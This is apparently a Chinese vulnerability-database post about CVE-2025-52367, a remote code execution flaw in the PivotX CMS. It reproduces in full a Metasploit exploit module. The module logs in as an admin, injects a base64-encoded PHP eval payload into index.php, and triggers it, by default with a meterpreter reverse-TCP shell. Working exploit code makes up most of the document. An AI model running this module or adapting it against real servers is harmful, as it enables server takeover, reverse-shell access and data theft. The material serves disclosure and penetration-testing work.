PivotX Remote Code Execution Vulnerability

漏洞信息

漏洞名称: PivotX Remote Code Execution Vulnerability

漏洞编号:

  • CVE: CVE-2025-52367

漏洞类型: 命令执行

漏洞等级: 高危

漏洞描述: PivotX是一个内容管理系统(CMS),广泛用于个人博客和小型网站的管理。它提供了一个用户友好的界面,允许管理员轻松管理网站内容。然而,PivotX管理系统中存在一个远程代码执行漏洞,允许攻击者在服务器上执行任意代码。这个漏洞的根源在于PivotX允许管理员用户直接编辑服务器上的文件,包括PHP文件。攻击者可以利用这一功能,通过写入恶意负载到index.php文件中,从而获得远程代码执行的能力。这种漏洞的存在可能导致严重的安全风险,包括但不限于服务器被完全控制、数据泄露和服务中断。攻击者需要有效的管理员凭证才能利用此漏洞,这意味着漏洞的利用需要一定的前置条件。然而,一旦攻击者获得了这些凭证,他们就可以自动化地利用此漏洞,对受影响的系统造成严重破坏。

产品厂商: PivotX

产品名称: PivotX

影响版本: version <= 3.0.0-rc3

来源: https://github.com/rapid7/metasploit-framework/blob/54c86cfc1002390f0b3756791afdefee9a86f811/modules%2Fexploits%2Flinux%2Fhttp%2Fpivotx_index_php_overwrite.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

include Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PivotX Remote Code Execution',
'Description' => %q{
This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'HayToN', # security research
'msutovsky-r7' # module dev
],
'References' => [
[ 'EDB', '52361' ],
[ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'],
[ 'CVE', '2025-52367']
],
'Targets' => [
[
'Linux',
{
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' },
'DisclosureDate' => '2025-07-10',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('USERNAME', [ true, 'PivotX username', '' ]),
OptString.new('PASSWORD', [true, 'PivotX password', '']),
OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/'])
])
end

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')
})

return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200

return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered')

html_body = res.get_html_document

return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }

version = Rex::Version.new(Regexp.last_match(1))

return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')

return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
end

def login
boundary = Rex::Text.rand_text_alphanumeric(16).to_s

data_post = "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{datastore['USERNAME']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{datastore['PASSWORD']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

res = send_request_cgi!({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'login' },
'ctype' => "multipart/form-data; boundary=----WebKitFormBoundary#{boundary}",
'data' => data_post,
'keep_cookies' => true
})

fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && !res.body.include?('Incorrect username/password') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/

@csrf_token = Regexp.last_match(1)
end

def modify_file
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'),
'vars_get' => { 'page' => 'homeexplore' }
})

fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/

@base_dir = Regexp.last_match(1)

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
})

fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200

@original_value = res.get_html_document.at('textarea')&.text

fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})

fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def trigger_payload
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'index.php')
})
end

def restore
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value }
})
vprint_status('Restoring original content')
vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
end

def exploit
vprint_status('Logging in PivotX')
login
vprint_status('Modifying file and injecting payload')
modify_file
vprint_status('Triggering payload')
trigger_payload
restore
end
end



PivotX Remote Code Execution Vulnerability
http://example.com/2025/07/24/github_2426226293/
作者
lianccc
发布于
2025年7月24日
许可协议